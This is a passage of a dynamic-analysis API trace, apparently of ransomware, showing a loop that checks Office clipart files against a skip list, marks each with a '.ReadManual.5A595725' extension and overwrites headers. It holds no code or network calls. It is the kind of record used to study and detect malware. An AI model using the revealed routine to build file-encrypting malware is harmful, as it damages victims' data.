cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0263.257] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01291_.WMF" | out: lpString1="HH01291_.WMF") returned="HH01291_.WMF" [0263.257] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.257] StrStrIW (lpFirst="HH01291_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.257] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.257] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.257] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" [0263.258] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ReadManual.5A595725" [0263.258] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ReadManual.5A595725") returned 87 [0263.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38392634752) returned 1 [0263.258] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0263.258] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.258] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15806) returned 1 [0263.258] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dbe, lpName=0x0) returned 0x184 [0263.258] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.259] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.259] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.260] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.260] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dbe) returned 0x2f0000 [0263.261] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.261] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38392964705) returned 1 [0263.261] CloseHandle (hObject=0x184) returned 1 [0263.261] SetSecurityInfo () returned 0x57 [0263.261] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.261] CloseHandle (hObject=0x194) returned 1 [0263.261] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0263.261] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01329_.WMF" | out: lpString1="HH01329_.WMF") returned="HH01329_.WMF" [0263.261] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.261] StrStrIW (lpFirst="HH01329_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.261] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.261] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.261] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.261] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.261] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.261] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.262] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.262] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" [0263.262] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ReadManual.5A595725" [0263.262] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ReadManual.5A595725") returned 87 [0263.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38393062971) returned 1 [0263.262] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0263.262] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.262] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6016) returned 1 [0263.262] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1780, lpName=0x0) returned 0x184 [0263.262] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.263] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.263] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.265] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.265] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1780) returned 0x2f0000 [0263.265] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.265] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38393374253) returned 1 [0263.265] CloseHandle (hObject=0x184) returned 1 [0263.265] SetSecurityInfo () returned 0x57 [0263.265] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.265] CloseHandle (hObject=0x194) returned 1 [0263.265] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0263.265] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01461_.WMF" | out: lpString1="HH01461_.WMF") returned="HH01461_.WMF" [0263.265] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.265] StrStrIW (lpFirst="HH01461_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.265] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.265] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.265] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.266] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.266] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" [0263.266] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ReadManual.5A595725" [0263.266] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ReadManual.5A595725") returned 87 [0263.266] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38393472617) returned 1 [0263.266] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0263.266] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.266] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5958) returned 1 [0263.266] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1746, lpName=0x0) returned 0x184 [0263.267] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.267] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.267] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.269] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.269] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1746) returned 0x2f0000 [0263.269] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38393786883) returned 1 [0263.269] CloseHandle (hObject=0x184) returned 1 [0263.269] SetSecurityInfo () returned 0x57 [0263.269] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.269] CloseHandle (hObject=0x194) returned 1 [0263.269] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0263.269] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01618_.WMF" | out: lpString1="HH01618_.WMF") returned="HH01618_.WMF" [0263.269] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.270] StrStrIW (lpFirst="HH01618_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.270] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.270] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.270] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" [0263.270] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ReadManual.5A595725" [0263.270] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ReadManual.5A595725") returned 87 [0263.270] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38393883202) returned 1 [0263.270] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0263.270] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.270] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7296) returned 1 [0263.271] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c80, lpName=0x0) returned 0x184 [0263.271] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.271] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.271] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.273] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.273] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c80) returned 0x2f0000 [0263.273] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38394225062) returned 1 [0263.274] CloseHandle (hObject=0x184) returned 1 [0263.274] SetSecurityInfo () returned 0x57 [0263.274] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.274] CloseHandle (hObject=0x194) returned 1 [0263.274] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0263.274] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01759_.WMF" | out: lpString1="HH01759_.WMF") returned="HH01759_.WMF" [0263.274] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.274] StrStrIW (lpFirst="HH01759_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.274] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.274] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" [0263.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ReadManual.5A595725" [0263.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ReadManual.5A595725") returned 87 [0263.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38394321242) returned 1 [0263.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0263.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.276] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5414) returned 1 [0263.276] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1526, lpName=0x0) returned 0x184 [0263.276] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.276] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.276] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.278] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.278] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1526) returned 0x2f0000 [0263.278] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38394717548) returned 1 [0263.278] CloseHandle (hObject=0x184) returned 1 [0263.278] SetSecurityInfo () returned 0x57 [0263.279] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.279] CloseHandle (hObject=0x194) returned 1 [0263.279] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0263.279] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01875_.WMF" | out: lpString1="HH01875_.WMF") returned="HH01875_.WMF" [0263.279] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.279] StrStrIW (lpFirst="HH01875_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.279] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.279] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.279] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" [0263.279] lstrcatW 